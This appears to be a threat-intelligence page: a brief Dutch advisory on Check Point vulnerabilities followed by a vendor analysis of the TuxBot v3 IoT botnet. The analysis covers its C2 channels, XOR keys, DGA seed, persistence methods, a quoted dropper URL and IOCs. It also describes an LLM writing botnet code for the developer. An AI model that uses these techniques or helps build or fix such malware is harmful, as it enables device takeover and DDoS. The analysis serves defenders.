Check Point heeft kwetsbaarheden verholpen in SmartConsole, Gaia Portal, Security Management en Multi-Domain Security Management. De kwetsbaarheden betreffen authenticatiebypasses en privilege-escalaties binnen verschillende Check Point managementcomponenten. In SmartConsole kunnen niet-geauthenticeerde externe aanvallers administratieve login tokens verkrijgen, waardoor zij volledige administratieve toegang krijgen en beveiligingsbeleid kunnen aanpassen. Deze kwetsbaarheid vereist internettoegang tot de Management Server en een permissieve Trusted Clients configuratie. In Gaia Portal kan een geauthenticeerde gebruiker met alleen leesrechten commando's uitvoeren met root privileges, wat toegangsbescherming omzeilt. In Security Management en Multi-Domain Security Management kunnen niet-geauthenticeerde externe aanvallers met netwerktoegang tot de Management Server administratieve commando's uitvoeren, wat kan leiden tot controle over beheerde Security Gateways, afhankelijk van firewall- en Trusted Client-instellingen. Checkpoint meldt dat van de kwetsbaarheid met kenmerk CVE-2026-16232 actief misbruik is waargenomen bij een beperkt aantal gebruikers die de kwetsbare tooling incorrect geconfigureerd hadden en publiek beschikbaar hadden op internet. Deze gebruikers zijn reeds geïnformeerd. Er is op dit moment nog geen verder misbruik waargenomen. De genoemde applicaties zijn niet bedoeld om zonder additionele maatregelen publiek toegankelijk te hebben, maar af te steunen in een separate omgeving. Met name publiek toegankelijke systemen lopen een hoog risico op actief misbruik.
advisories.ncsc.nlJul 24, 2026extracted
TuxBot v3: Inside an IoT Botnet Framework With LLM-Assisted Development
We identified a previously undocumented modular internet-of-things (IoT) botnet framework named TuxBot v3 Evolution. The malware authors leveraged an LLM to assist in their code development, yielding mixed results. While the AI complied with their request to generate botnet code, it included a safety disclaimer that the developer failed to remove before shipping. Although the LLM clearly aided in constructing the botnet, several functions in the analyzed samples failed to work correctly. While a manual code review could have easily resolved these errors, the authors neglected this step. However, it is highly likely that corrected, more polished iterations exist, which significantly elevates the potential threat posed by this malware. We initially reported this information through our Timely Threat Intelligence program, and this article provides further in-depth analysis of the TuxBot v3 Evolution botnet. We recovered detailed information on the framework from internal telemetry. The data includes the full source code, compiled binaries for 17 architectures and automated distributed denial of service (DDoS) performance testing reports. The bot programs infected devices to display the console banner “Infected By Akiru.” The TuxBot v3 Evolution framework consists of: A C-based bot agent that cross-compiles for architectures from ARM and MIPS to x86_64, PowerPC, RISC-V, etc. A Go-based command-and-control (C2) server with a DDoS-for-hire panel A custom exploit virtual machine Docker-based test infrastructure An automated build system The bot agent brute-forces Telnet access on targeted devices with 1,496 credential pairs, contains exploit code targeting more than 30 IoT device families and communicates with a C2 server over an encrypted TCP channel. Fall-back C2 mechanisms include: A SHA512 domain generation algorithm (DGA) Peer-to-peer (P2P) gossip with Ed25519-signed commands IRC DNS TXT queries HTTP polling Palo Alto Networks customers are better protected from the threats discussed above through the following products: If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. TuxBot is a modular IoT botnet framework derived from various known IoT botnet codebases. Based on our analysis of the samples, TuxBot includes features borrowed from the known botnet AISURU and the publicly unknown Wuhan botnet lineages. (We infer the Wuhan botnet lineage based on references in the TuxBot samples.) It is also partially ported from the open-source MHDDoS Python DDoS toolkit. Figure 1 shows screenshots of the TuxBot v3 Evolution installer. According to the system configuration, the framework maintains dual versioning: 3.5.2 for the Installer version and 3.0.0-EVOLUTION-FINAL within the Docker configuration file. We discovered two important sources of TuxBot data from the wild. Our first discovery was an archive containing the complete source code of the framework. This archive consists of: 61 C++ source files 58 headers Its own compiler and virtual machine Docker Compose configurations for test environments Quick Emulator (QEMU) setups for multi-architecture testing 254 automated DDoS benchmark reports Our second discovery was a compiled bot binary that was also bundled in the source tree under the QEMU test directory and hidden with a dot-prefix to the filename. This sample was submitted to VirusTotal on Jan. 20, 2026. Comparing this binary with the source code reveals that it is a development build. This binary was compiled with its C2 IP address set to the loopback IP address 127.0.0.1 and the bot protocol port set to 31337. Because this information can be modified during the botnet setup process, the operator could have production builds with a real C2 IP address and with the bugs we document here already fixed. The TuxBot framework we recovered and analyzed is approximately 70% functional. The core infection flow (scanning, credential brute-forcing, persistence, primary C2 setup and DDoS execution) works. The Telnet, SSH, HTTP and Android Debug Bridge (ADB) scanners all operate correctly. Furthermore, with its 1,496 credential pairs, the Telnet scanner remains a viable infection vector. Exploitation beyond brute-forcing is limited. All three exploit systems are non-functional for different reasons that we detail later in this analysis. An additional scanner fires, but its hard-coded dropper IP address is no longer active. Several other features are broken due to a handful of bugs, most of which trace back to large language model (LLM)-assisted development. The developer relied on an LLM to generate C modules, port exploits and write C2 server code. Raw chain-of-thought reasoning from the LLM was left verbatim in source files, and the LLM hallucinated cryptographic implementations that the developer shipped without verifying. During our analysis, we could fix several of these broken features with a few targeted prompts to an LLM. This means an adversary with access to the same source code could produce a more complete version with minimal effort. The archive containing the source code also contains a Git log. This Git log allowed us to build a timeline that shows the development progress of this botnet, noted in Table 1. Table 1. TuxBot Framework development timeline. The source code and publicly available data provide a rough development chronology. The developer's hostname, captured in the included Git log, indicates an Iranian-hosted workstation. The developer domain newtuxdev.sevielw.digikalas[.]online was no longer live, but the parent domain digikalas[.]online has remained active and resolved to an IP address on Iran's Arvan Cloud content delivery network (CDN) during our research. The 254 benchmark reports from the archive from January 2026 reveal: Active testing of 12 attack methods across three Docker-based botnet hosts Measuring packet rates, throughput and error rates This testing occurred just weeks before the first sample appeared on VirusTotal, consistent with a late-stage development push before deployment. The source code contains an IP address of 185.10.68[.]127, which we pivoted on to link TuxBot to Keksec/Kaitori (a Tsunami/Mirai/Gafgyt variant) ecosystems to a shared infrastructure. According to the framework’s description, the TuxBot developer built what they called a professional-grade C2 framework platform with a multi-user admin panel, automated deployment and modular attack capabilities. Figure 2 shows the botnet panel reference. The C2 server is written in Go and uses three listeners that use different TCP ports for incoming connections. The first listener serves the bot protocol on TCP port 1999 (or 31337, depending on the build), handling encrypted command dispatch to connected bots. The same port is multiplexed with an admin binary protocol identified by a magic byte header. The second listener is an SSH server on TCP port 2222 that presents an interactive shell for operators. This is the DDoS-for-hire interface shown in Figure 3. Operators log in, see a count of connected bots and issue attack commands in the format !method target duration. As Figure 4 shows, the C2 server enforces per-user quotas on concurrent attacks, maximum duration and bot allocation. This is all backed by a MariaDB database that stores user accounts, attack logs and permissions. The third listener is a machine API on TCP port 9999 that uses a JSON interface intended for programmatic access. The integrated build system automates the entire deployment: Installing dependencies (Go, MariaDB, cross-compilation toolchains) Initializing the database schema Generating a configuration Compiling the C2 Cross-compiling the bot for 17 target architectures, as noted in Figure 5 These target architectures include: x86_64 ARM ARM64 MIPS MIPSEL MIPS64 PowerPC The compiled binaries are placed in a directory served over HTTP, so exploited devices can download the appropriate binary for their architecture. The framework includes Docker Compose configurations for several test scenarios. A “battle arena” configuration spins up a C2 server, five bot replicas and a target host running nginx and socat listeners on game server ports (Minecraft, TeamSpeak, FiveM, Xbox Live). This allowed the developer to test DDoS methods against real protocol listeners in a controlled environment. Additional configurations test P2P gossip recovery, full integration with all scanners active and production-like deployments with stealth and persistence enabled. An interesting design note is that the source code configures the SSH banner as SSH-2.0-CNC, but the live C2 server on Xpanse at 209.182.237[.]133 presents the banner as SSH-2.0-CNC-Control-Server. This discrepancy suggests that the production deployment uses a modified version of the source code we discovered, providing further evidence that the operator has a separate, potentially more complete build. The bot is a C program that compiles into a single statically linked binary. It links against glibc and libsodium for X25519, ChaCha20, Poly1305, SHA512 and Ed25519 algorithms. The original binary submitted to VirusTotal was an earlier debug build with symbols intact, compiled with GCC 11.4.0 instead of the production GCC 14.2.0. The bot programs infected devices to display the console banner Infected By Akiru, as shown in Figure 6. On execution, the bot follows a fixed initialization sequence. After seeding the pseudo-random number generator and initializing libsodium, it performs the following activities: Loading the C2 address Setting up anti-debugging protections Hiding its process name Installing persistence Launching a cascade of subsystems consisting of: - The attack dispatcher - A competitor killer feature - An exploit VM - Self-replication servers - Multiple C2 channels (IRC, HTTP, DNS, P2P) - Scanners (Telnet, SSH, HTTP, PHP-based application, ADB) - A SOCKS5 proxy - The mining placeholder The main process then enters a loop that receives encrypted commands from the C2 server and dispatches attacks. TuxBot stores sensitive strings (C2 addresses, scanner calls, exploit payloads) in an XOR-encrypted table that it decrypts at runtime. The table key is previously defined as 0xDEDEFB4F. The toggle_obf() function splits this 32-bit key into its four component bytes (0x4F, 0xFB, 0xDE, 0xDE) and XORs each byte of each table entry with all four in sequence. Because XOR is associative, these four operations collapse into a single effective key. The two 0xDE bytes cancel each other out (any byte XORed with itself yields zero), leaving 0x4F XOR 0xFB = 0xB4. The table contains 58 entries. Forty-nine of them decrypt correctly with key 0xB4 and include: The C2 port (1999) Scanner strings (shell, enable, system) The Infected By Akiru post-infection console banner Busybox probe strings Various process names used for stealth Nine entries produce garbage when decrypted with 0xB4. These entries were encrypted using a separate offline tool, which uses a key of 0xDEDEFBAF, yielding an effective byte of 0x54. The developer introduced this bug by changing the least significant byte of the key in the table from 0xAF to 0x4F. The offline encryption tool was never updated to match, and the nine entries that had already been processed with the old key were never re-encrypted. As a result, these entries are encrypted in the binary with key 0x54, while the runtime applies key 0xB4, producing corrupted output. Decrypting them with the correct key (0x54) reveals the intended values shown in Table 2. Table 2. String table decrypted values. All four exploit payloads hard code the dropper IP address 185.10.68[.]127 inside them, an IP address that is flagged as malicious on VirusTotal in early May 2026. The consequences of this bug are significant. The IRC C2 fall-back channel, the HTTP C2 polling channel and the four table-stored exploit payloads are all non-functional at runtime. The bot attempts to use them, but it silently fails due to the corrupted string values. For example, the IRC channel tries to inet_addr() on garbage bytes, gets INADDR_NONE and retries the connection every 10 seconds. We were able to fix this to call the add_entry_plaintext() function correctly, by taking the raw string and XORing it with the runtime key (0xB4) at initialization, guaranteeing the keys always match. With that fix applied, the IRC C2 channel connects, joins #tuxbot and accepts attack commands as noted in Figure 7. The bot ships with 1,496 username/password pairs for Telnet brute-forcing. The file header explicitly says // START IMPORTED FROM DDOS-ROOTSEC pass_file. Each entry is XORed with key 0xB4 (matching the runtime key, so these work correctly). The list of 1,495 login credentials includes standard and vendor-specific defaults. TuxBot implements a layered C2 architecture with one primary channel and five fall-back mechanisms. Only the primary channel and three of the five fall-back mechanisms were functional in the version we analyzed. Figure 8 shows the diagram. The bot connects to the C2 server on TCP port 1999 (or 31337, depending on build configuration). The handshake begins with the bot sending 4 bytes: 0xDEADBE01. It then generates and sends its 32-byte public key. The C2 server responds with its own 32-byte public key. Each encrypted packet has the following format: 4-byte magic (0xDEADBEEF) 12-byte nonce (from /dev/urandom) Ciphertext 16-byte Poly1305 tag The framework defines five additional C2 channels, summarized in Table 3. Table 3. C2 channels and their implementation status. The broken IRC implementation reveals the intent for a secondary channel of communication, as demonstrated below in Figure 9. When fixed, it forks a child process that connects to an IRC server, joins a channel (default #tuxbot) and listens for PRIVMSG commands prefixed with the ! character. It supports 12 attack methods (udp, syn, ack, vse, stomp, greip, greeth, udpplain, bypass, std, socket and dns) plus a kill command. Commands arrive as plaintext IRC messages and get parsed by the parse_irc_command() function. Then the commands are converted to the same binary packet format used by the primary encrypted channel before being passed to attack_parse(). Unlike the primary channel, the IRC channel has no encryption and no authentication. Anyone who knows the server and channel can command the bots. The dga_generate_domain() function constructs a seed string formatted as %04d-%02d-%02d-TuxBotv3-Evolution-Seed-2025-%d, where the date is the current UTC date and the final integer iterates from 0–19 per cycle. This produces 20 candidate domains per day. The SHA512 hash of this string is computed, and the first 12 bytes of the digest are mapped to lowercase letters (digest[i] % 26 into the a-z charset) to form the domain label. The top-level domain (TLD) is selected from a 6-entry table (.com, .net, .org, .info, .biz and .cc) using digest[12] % 6. Both the main C2 reconnection loop and the resilience module use this function to try DGA domains when the primary C2 address is unreachable. The source tree contains four categories of exploit. Only one of them works at runtime. This is a direct consequence of the bugs introduced during development. Sixteen exploit functions are implemented as native C code, covering 13 CVEs across different vendors and devices. Each function constructs an HTTP or SOAP request with a %s format string for the dropper IP address. The code is complete and would work if called. But exploit_engine_init() has zero callers anywhere in the codebase. No scanner or spread module references it. These 16 exploits are compiled into the binary and considered as dead code. The main Telnet scanner spawns a dedicated exploit worker thread that calls vm_run_random() in a loop against random IP addresses, making this the only exploit system the bot actually tries to use at runtime. The developer built a custom domain-specific language for writing exploits as text files, a Go compiler to compile them into a binary package and a C virtual machine to execute them. We also observed 27 .expl files, a custom file format created by the developer for this framework. Each file contains a single exploit, making exploit integration modular rather than hard-coded. These were written and compiled into a single 10,694-byte exploit package that would add coverage for 13 CVEs (including CVE-2022-1388, CVE-2022-22965, CVE-2020-8515 and CVE-2022-44877) plus two non-CVE targets. The package fails because the Go compiler writes the file magic value as 0x54555845 ("TUXE") while the C VM expects 0x4558504C ("EXPL"). The package is rejected on load, and the exploit worker thread runs but fires nothing. Beyond the magic mismatch, the compiler never emits an OP_CONNECT opcode, and the variable syntax differs between the compiler and VM. This means that even fixing the file magic value would not be enough to make the package execute correctly. This category consists of XOR table payloads, but these are broken due to an XOR key mismatch. Four exploit payloads are stored as XOR-encrypted entries in the string table. These target different vendors and were intended as an alternative delivery mechanism. They are all encrypted with the wrong XOR key (0x54 instead of 0xB4), resulting in garbled HTTP requests at runtime. This category consists of functional dedicated scanners for remote code execution (RCE) and ADB. In summary, the exploit categories are described in Table 4. Table 4. Exploit categories and counts (per implementation status). These four categories mean that this bot's actual exploit capability at runtime is limited to the last two categories: An RCE vulnerability scanner (whose dropper is dead) The ADB scanner The other three exploit categories that were supposed to provide broad IoT exploitation are non-functional, each for a different reason. A complete table of all CVEs and their status is provided in the Indicators of Compromise section. The attack dispatch system registers 78 attack vectors. These vectors map to only six actual handler functions, as shown in Table 5. Table 5. DDoS method handlers and their descriptions. The 47 vectors mapped to attack_tcp_syn_optimized include all application-layer methods for HTTP that the developer attempted to port from MHDDoS: GET floods POST floods Slowloris DDoS attacks Apache Range header attacks WordPress XMLRPC pingback attacks Cloudflare bypass attack variants These methods have source code implementations, but attack_init() routes all of their vector IDs to the TCP SYN handler. An operator who types !get target 60 expecting an HTTP GET flood instead gets a TCP SYN flood. The HTTP attack methods are compiled into the binary as dead code. Figure 11 shows the command for a controlled bot to launch an attack against a given IP address and port number. The source tree contains approximately 92 individual method implementations across three lineages: 30 from the traditional Mirai codebase 12 AISURU-suffixed variants with sendmmsg() batch optimization 8 Wuhan-suffixed variants bridged through adapter code These exist in the compiled binary but are never called because attack_init() redirects everything to the six optimized handlers shown in Figure 12 below. The source code reveals a modular architecture designed for high-efficiency network scanning, specifically using a dedicated HTTP scanning routine to discover vulnerable web interfaces. The HTTP scanner operates as an isolated child process that manages up to 128 concurrent connections in an infinite, non-blocking select() loop. For each idle slot (approximately 5% chance per tick), it targets a random public IP address on TCP port 80 or 8080, excluding loopback and non-routable IP address ranges. The scanner then attempts a non-blocking TCP connection to a random administrative endpoint (such as /admin or /cpanel). It does so using credential combinations (like admin:admin) from hard-coded lists via a Base64-encoded Authorization: Basic header in an HTTP GET request. If the response yields a successful HTTP/1.* with 200 OK status strings, the scanner prints a debug log and terminates the connection. Crucially, the source code indicates that this feature was not fully implemented, as the successful propagation logic is stubbed out and completely lacks the functionality to report successful infections back to the C2 server. If the attempt times out after 5 seconds or fails, it simply closes the connection and frees the slot for reuse. Figure 12 shows an example of the scanning traffic filtered in Wireshark. Persistence and Stealth The persistence and stealth subsystems follow patterns well established in the IoT botnet ecosystem, so we will not describe every technique in detail. TuxBot installs itself through seven persistence mechanisms: A systemd service disguised as sd-pam.service with Restart=always Two cron entries (@reboot and */5 * * * *) Shell profile injection into .bashrc, .profile and .zshrc files Hidden backup copies at three file system locations A guardian process with crash backoff Hardware watchdog keepalive Periodic binary relocation across 21 directories with dot-prefixed filenames - This process masquerades under one of 20 system daemon names (such as systemd-udevd, dbus-daemon, cron, sshd) selected at random The Anti-VM module implements a weighted scoring system with a threshold of 30, combining more than 10 detection methods, including: DMI file checks for VMware/VirtualBox/QEMU MAC address prefix matching for seven VM vendors Disk size and CPU count heuristics Timing-based detection Kernel module scanning Checks for running analysis tools (gdb, IDA, Ghidra, radare2, Wireshark, Volatility). A competitor killer feature Scans of /proc for memory signatures of Mirai, QBOT, Vamp, Anime and dvrHelper Killing matches and binding their ports to prevent re-infection The developer used an LLM to write a significant part of this framework. Multiple files contain raw LLM chain-of-thought reasoning left verbatim in comments. These comments are the LLM's internal reasoning as it worked through porting tasks. This reasoning is complete with self-interruptions, decisions and references to “the user” (meaning the developer who prompted the LLM). Here are a few examples: While trying to port an ADB exploit to the custom .expl format, the LLM writes: // If the user insists on "all exploits", I will add it but with a NOTE that checksums might fail. The LLM is questioning whether it remembers code it generated earlier in the same conversation: // I created them so I should know? Discovering that a Python exploit script it was porting is broken: // Wait, where is the command? These patterns recur throughout the exploit files: Self-interruptions (Wait) Self-corrections (Actually) Investigation prompts (Let's check) First-person task narration (I will) Structured decision labels (DECISION:) One comment reads // Correct action: I've already explored it. I will check other files. These comments are an LLM narrating its own workflow to itself. Human developers do not usually write comments like these. The same patterns appear in the C bot modules. Comments include: Actually, TFTP requires lock-step ACK, Let's assume if the system() call returns, we might want to exit and actually crypto_core allows generating them from a seed. Let's use a random seed. The most consequential LLM artifact is in the C2 authentication module. The file header claims to implement Argon2id password hashing. The section header reads PASSWORD HASHING - ARGON2ID. The function comment says HashPassword creates a cryptographically secure password hash using Argon2id. Related LLM comments include: // Since golang.org/x/crypto/argon2 isn't imported, we'll use our enhanced PBKDF2 // with very high iterations as a strong alternative hash := deriveKeyEnhanced(password, salt) Despite its use of PKBDF2 for password hashing, the LLM formats the output to look like Argon2id anyway: return fmt.Sprintf("$argon2id$v=19$m=%d,t=%d,p=%d$%s$%s", ...) The LLM hallucinated that it implemented Argon2id but actually fell back to SHA256 loops while keeping the Argon2id comments, constants and output format. Every .c file in the bot directory (approximately 60 files) carries an identical header: WARNING: This code is for educational and authorized security research only. Unauthorized use is strictly prohibited and may be illegal. The LLM complied with the request to generate botnet code but added a safety disclaimer. The developer shipped it without removing it. Table 6 summarizes the operational status of each major component of TuxBot v3 Evolution. Table 6. Operational status for each TuxBot framework component. During our research, we were able to fix these issues with a handful of LLM-assisted prompts. We reconstructed the correct table entries and fixed the IRC C2 channel with a few targeted prompts. Given that the operator already has the source code and has been actively deploying binaries (six new samples in April 2026), we can reasonably assume that a version with some or all of these fixes already exists in the wild. By searching through publicly available data, we found active infrastructure and connections to the broader IoT botnet ecosystem. The primary C2 server is hosted at 209.182.237[.]133, in Singapore. Connecting to TCP port 2222 on this server presents the banner SSH-2.0-CNC-Control-Server, first observed on Xpanse on March 5, 2026, and also visible through Shodan. The SSH key exchange includes a key exchange algorithm that fingerprints Go's crypto/ssh library rather than OpenSSH. The dropper server at 185.10.68[.]127 is hosted on FlokiNET, an Iceland-based provider known for bulletproof hosting. This IP address had 11/91 malicious detections on VirusTotal in May 2026, with at least 10 communicating malware samples and six associated downloads. This dropper server serves TuxBot payloads at /bins/bot. and, on different URL paths, also serves Kaitori v3.9 binaries. Passive DNS history for this IP address shows domains consistent with DDoS-for-hire operations going back to 2021, with the domains vrunabo[.]su, rezy1337.ted[.]ge and high.cpu.co[.]ua. These two servers are linked by the jetross[.]com Let's Encrypt TLS certificate that appears on both hosts, tying the C2 server in Singapore to the dropper in Iceland under the same operator. The dropper IP address is the pivot point that connects TuxBot to the wider Keksec/AISURU ecosystem. Kaitori v3.9 samples recovered from our internal telemetry in July 2025 (82 samples) downloaded their payloads from 185.10.68[.]127 on different URL paths. A separate sample, a Go binary, communicates with both 194.46.59[.]169 (a known AISURU IP address) and 185.10.68[.]127. TuxBot, Kaitori and AISURU tooling all converge on the same dropper server, but they are separate codebases. One additional artifact sits in the source code. The RCE scanning engine contains a hard-coded payload that downloads from hxxp[:]//188.166.2[.]226/OwO/Tsunami.x86 with the user-agent r00ts3c-owned-you. This string was copy-pasted from the r00ts3c Tsunami codebase, which was included in the MHDDoS repository that the developer cloned in January 2025. The IP address is a decommissioned DigitalOcean droplet now serving Ubiquiti's UISP platform. This payload is dead code. The developer domain digikalas[.]online resolves to 37.32.24[.]195 on Iran's Noyan Abr Arvan. Its TLS certificate covers api.digikalas[.]online and health.digikalas[.]online, suggesting it hosts a web application beyond the malware development context. The developer subdomain was leaked in the git historical log data. Our discovery of TuxBot v3 Evolution reveals a development snapshot of an IoT botnet framework. The framework has working core capabilities and several broken features that trace to a small number of reproducible bugs. Binaries compiled from this framework have been appearing in the wild since January 2026. The C2 infrastructure has been active since at least March 2026. The developer relied heavily on LLM-generated code throughout the project. That approach accelerated integration and allowed what could be a single developer to produce a multi-architecture botnet with: Encrypted C2 A DGA P2P gossip A custom exploit VM A Go-based DDoS-for-hire panel The LLM also introduced bugs that went unnoticed because the generated code reads well on the surface. The XOR key mismatch, the VM magic incompatibility, the exploit engine that never gets called and the hallucinated Argon2id implementation are the kind of errors that a manual code review would have caught immediately. The developer trusted the output and moved on. Shared infrastructure with Kaitori v3.9 and AISURU tooling places the TuxBot operator within the Keksec ecosystem. This group is known for running multiple IoT botnet variants in parallel. TuxBot appears to be another variant in that portfolio. It’s one that aims to go beyond the usual Mirai fork with its encrypted C2, its DGA and a modular exploit system, even though that system does not work yet in the version we recovered. The broken features can be fixed. We demonstrated this during our analysis by reconstructing the IRC C2 channel and decrypting the mismatched table entries with a few targeted LLM prompts. A fully working version of this framework is not a theoretical concern, but a likely threat. Palo Alto Networks customers are better protected from the threats discussed above through the following products: The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research. Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious. Advanced Threat Prevention is designed to defend networks against both commodity threats and targeted threats. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. TuxBot Framework (Compiled Malicious Binaries): SHA256 hash: 6b7a8e0c96c2318e747f074f9a99d26738700769ac01bba692d19fc884847737 File size: 1,456,432 bytes Filename: tuxbot.alpha File type: ELF 64-bit LSB executable, Alpha (unofficial), version 1 (SYSV), statically linked, BuildID[sha1]=cd540bb31909440fd2bf773e6f1480f5b6f12400, for GNU/Linux 3.2.0, not stripped SHA256 hash: 146f6010f6ee082aab13e0148d39baefa77eaba4ff65817b511b08c2092bdfd2 File size: 1,234,964 bytes Filename: tuxbot.arm File type: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, BuildID[sha1]=877b804892ab218a53420b6dfbd0a2837368d0b5, for GNU/Linux 3.2.0, not stripped SHA256 hash: bd6431fb06e4689142ef597cf00382e38ae20a5393a4d9277e45a3f5b3cbcff9 File size: 1,329,000 bytes Filename: tuxbot.arm64 File type: ELF 64-bit LSB executable, ARM aarch64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=b21cdc5e1b96c640a1d553ed518c49729e367823, for GNU/Linux 3.7.0, not stripped SHA256 hash: a03b0d41f5ef03328150331ffa0ed970998883f7e0343d79b2d3b95330d8e7c1 File size: 972,032 bytes Filename: tuxbot.arm7 File type: ELF 32-bit LSB executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, BuildID[sha1]=a70cea846442c18ad265f311b5ced29a4071771d, for GNU/Linux 3.2.0, not stripped SHA256 hash: eb2fa179fde2f097c18d5d700ad87d660fc238ee14cbe5477032e60856859621 File size: 1,352,256 bytes Filename: tuxbot.hppa File type: ELF 32-bit MSB executable, PA-RISC, 1.1 version 1 (GNU/Linux), statically linked, BuildID[sha1]=69dc276dde8efcb409411508da55d4cbe28d5600, for GNU/Linux 3.2.0, not stripped SHA256 hash: a8d70d16509e227d8306be361bc37a3dc9fe34bf476f51e361e55e6d293c2b3f File size: 1,160,756 bytes Filename: tuxbot.m68k File type: ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, BuildID[sha1]=adf267caab78a74c4b4dfabe7b578b0a4d639782, for GNU/Linux 3.2.0, not stripped SHA256 hash: 0f8bcca3ed65e980da2a1f90a767b7d543be32eeea3e9338d09d4d635a497988 File size: 1,431,220 bytes Filename: tuxbot.mips File type: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, BuildID[sha1]=a8fd13f6b1bdfa87c0f466df69b7e81325b5dd15, for GNU/Linux 3.2.0, not stripped SHA256 hash: 96b1f96efca3b9df2dea85678d60da27e3265b4a00e39e20e64b27bb985e1561 File size: 1,468,624 bytes Filename: tuxbot.mips64 File type: ELF 64-bit MSB executable, MIPS, MIPS64 rel2 version 1 (SYSV), statically linked, BuildID[sha1]=befb0e4d1cd7d2b4139b55f811993af2c8839e75, for GNU/Linux 3.2.0, not stripped SHA256 hash: c7a36d6b8128c41f93a32413675401a10a2b5769b221bbaa8c5c309585b73ceb File size: 1,403,096 bytes Filename: tuxbot.mips64el File type: ELF 64-bit LSB executable, MIPS, MIPS64 rel2 version 1 (SYSV), statically linked, BuildID[sha1]=e0f8dd23e4fb0086feb42ea0a5dcef70d7b4d17c, for GNU/Linux 3.2.0, not stripped SHA256 hash: 246c97957651de568e61eba1abe572f0b0f960456209995d43d53a0d7cc494a1 File size: 1,431,268 bytes Filename: tuxbot.mipsel File type: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, BuildID[sha1]=7ad840b1945cc346012987727ebcc062431965a4, for GNU/Linux 3.2.0, not stripped SHA256 hash: 3ec016d637e4c9cd331edd2580a229621ad638e924a4aa29ac0342e9144ace19 File size: 1,492,228 bytes Filename: tuxbot.ppc File type: ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, BuildID[sha1]=4e1483737f769e1cee80fa4d7a056a5d8e3b537e, for GNU/Linux 3.2.0, not stripped SHA256 hash: 2f2c3551762c03da126e45dca6fc2f997c63f0f1bfc21fd0ceed680ac6f083ce File size: 1,721,904 bytes Filename: tuxbot.ppc64le File type: ELF 64-bit LSB executable, 64-bit PowerPC or cisco 7500, version 1 (GNU/Linux), statically linked, BuildID[sha1]=4cba585d9f208bd712b28f867f908e503ccc9cfe, for GNU/Linux 3.10.0, not stripped SHA256 hash: 9cd5e7e3c8bad321ef6c3d47fe25b3b56e9487f703a7eeee52db4067e6bafe61 File size: 1,185,264 bytes Filename: tuxbot.riscv64 File type: ELF 64-bit LSB executable, UCB RISC-V, version 1 (GNU/Linux), statically linked, BuildID[sha1]=64af594c7f91793813e3d769e63816b143102396, for GNU/Linux 4.15.0, not stripped SHA256 hash: e3a5296e762e9ee16010399666441d663beeea956382e97cca032a6a5ad06811 File size: 1,542,064 bytes Filename: tuxbot.s390x File type: ELF 64-bit MSB executable, IBM S/390, version 1 (GNU/Linux), statically linked, BuildID[sha1]=2774a5f5991657eb9b0062cd3da0391c9bad2643, for GNU/Linux 3.2.0, not stripped SHA256 hash: f1efb78887bb8783d7781c07cd13b53c9c79ebe5baa81f335838d0a6e73dec7e File size: 1,096,720 bytes Filename: tuxbot.sh4 File type: ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, BuildID[sha1]=304e14a138b92135aad27bb37f4e9db440401ec2, for GNU/Linux 3.2.0, not stripped SHA256 hash: f324a45fcd2a9db4e542c09486c21b08bc42d6bf76fbd5f17871090361b10815 File size: 2,240,240 bytes Filename: tuxbot.sparc64 File type: ELF 64-bit MSB executable, SPARC V9, Sun UltraSPARC1 Extensions Required, relaxed memory ordering, version 1 (GNU/Linux), statically linked, BuildID[sha1]=74fba0bad93bbb0e1eedb196b6efe6af1c0bf23d, for GNU/Linux 3.2.0, not stripped SHA256 hash: 15c17dce89deccd5172285b2650de957918aa1157cde8e4633ae15dfe31f2711 File size: 1,491,208 bytes Filename: tuxbot.x86_64 File type: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=81670f250f4b3492fd3e00920f9fe7395ecbf85c, for GNU/Linux 3.2.0, stripped Confirmed TuxBot (External samples): SHA256 hash: 71dfbb171eca4ef9d02ff630b56e5283bbef7b375d4dbe9e8c9531bef312fa8d File size: 2,274,688 bytes Filename: .bot_x86_64 File type: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=b1cc41e2b9ddb11d0c9d03d319531fea9459cdae, for GNU/Linux 3.2.0, with debug_info, not stripped Confirmed TuxBot (Internal samples): SHA256 hash: 511d3ffb4091cbcc94571d9fb3102e8cb424c6e187d01d53ff12078d54929bda File size: 163,121 bytes File type: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, with debug_info, not stripped SHA256 hash: 6aa4034dc7a2858094ff4dc59af07d6fe31119591e41599bcc0f3d0b516ee734 File size: 163,120 bytes File type: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, with debug_info, not stripped TuxBot C2 Servers: 185.10.68[.]127 - Dropper (HTTP, /bins/bot. ) 209.182.237[.]133:1999/31337 - Bot protocol (encrypted TCP) 209.182.237[.]133:2222 - C2 SSH admin panel 209.182.237[.]133:9999 - Machine API (TCP JSON) Keksec/Kaitori (not TuxBot directly): 45.145.185[.]229 - Keksec dropper (/bins/keksec.mips) 107.174.133[.]119 - Keksec dropper (Huawei exploit payload) 194.46.59[.]169 - AISURU infrastructure (yamux Go tool) Historical IP addresses: 188.166.2[.]226 - Tsunami dropper (dead code in RCE exploit). Now serves Ubiquiti UISP. Blocking will affect legitimate services. 154.6.197[.]43 - Present in the bot source code as scan/server domain. Successful Telnet logins are reported to this IP address. Flagged as a scanner by GreyNoise. Domains: 